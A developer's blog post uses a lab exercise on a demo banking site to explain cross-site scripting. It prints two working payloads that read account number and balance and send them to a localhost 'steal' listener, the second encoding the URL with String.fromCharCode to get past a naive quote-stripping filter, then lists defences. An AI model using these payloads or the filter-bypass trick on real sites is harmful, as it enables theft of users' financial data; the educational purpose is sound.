Web Security Made Simple: Learning Through XSS Attacks


When building websites, one thing that should always be on your radar is web security. It’s easy to think everything is fine just because the site works—but under the surface, there can be serious vulnerabilities. One of the most common (and dangerous) is XSS, or Cross-Site Scripting.
Let’s break down how this works and what we can learn from a real-life style exercise that involves exploiting and fixing XSS vulnerabilities.
What is XSS, Really?
XSS is when an attacker injects malicious code (usually JavaScript) into a website. If the site doesn’t properly handle or “sanitize” that input, the script can run in another user’s browser. This can allow attackers to steal data, hijack accounts, or do worse.
The Challenge: Can You Break It?
Let’s say we’re working with a demo banking site that has a bug—it's vulnerable to XSS.
In the first part of the task, we injected this payload:
htmlCopyEdit"><svg onload="window.onload=function(){let a=document.getElementById('account-number').innerText.split(':')[1].trim(),b=document.getElementById('account-balance').innerText.split(':')[1].trim();new Image().src='http://localhost:31337/steal/?account='+encodeURIComponent(a)+'&balance='+encodeURIComponent(b);}">
What does this do? As soon as the page loads, the SVG tag runs a script that grabs the user's account number and balance and secretly sends it to a local server.
Nice (from a hacker’s point of view), but not great for security.
The Fix… or So They Thought
After reporting the bug, the developer tries to fix it. They apply a simple filter to remove dangerous punctuation characters:
pythonCopyEditfiltered = re.sub(r"[;'\"]", "", input)
In plain English: “Remove semicolons, single quotes, and double quotes.”
That helps… a little. But it doesn’t stop everything.
Time for a Bypass
Now, our challenge is to get around this filter and make the XSS work again.
Since we can’t use certain characters, we need to get creative:
We use
String.fromCharCode()
to build strings using character codes instead of quotes.We switch from
<svg>
to<img>
with anonerror
event, which also lets us run code.
Here’s a filtered-safe version that still works:
htmlCopyEdit"><img src=x onerror=window.onload=function(){let a=document.getElementById('account-number').innerText.split(':')[1].trim(),b=document.getElementById('account-balance').innerText.split(':')[1].trim();new Image().src=eval(String.fromCharCode(39,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,51,49,51,51,55,47,115,116,101,97,108,63,97,99,99,111,117,110,116,61)+encodeURIComponent(a)+String.fromCharCode(38,98,97,108,97,110,99,101,61)+encodeURIComponent(b))}>
It does the same thing—steals data—without using any of the blocked punctuation.
What We Learn
Filtering characters isn’t enough. Attackers can find creative workarounds.
Always encode user input, especially before inserting it into the page.
Use proper frameworks and libraries that handle XSS for you.
Implement Content Security Policy (CSP) to limit what scripts can run on your site.
Never trust user input—even if it looks innocent.
Final Thoughts
This exercise is a great example of how important it is to understand how hackers think. Security isn’t just about throwing a filter on your input—it’s about thinking one step ahead.
By practicing attacks like this in a safe, educational environment, we learn how to better protect real-world applications.
Till next time folks happy coding
Subscribe to my newsletter
Read articles from kelvin beno directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by

kelvin beno
kelvin beno
I am a developer from Kenya, passionate about Building software that can shape and change lives for the better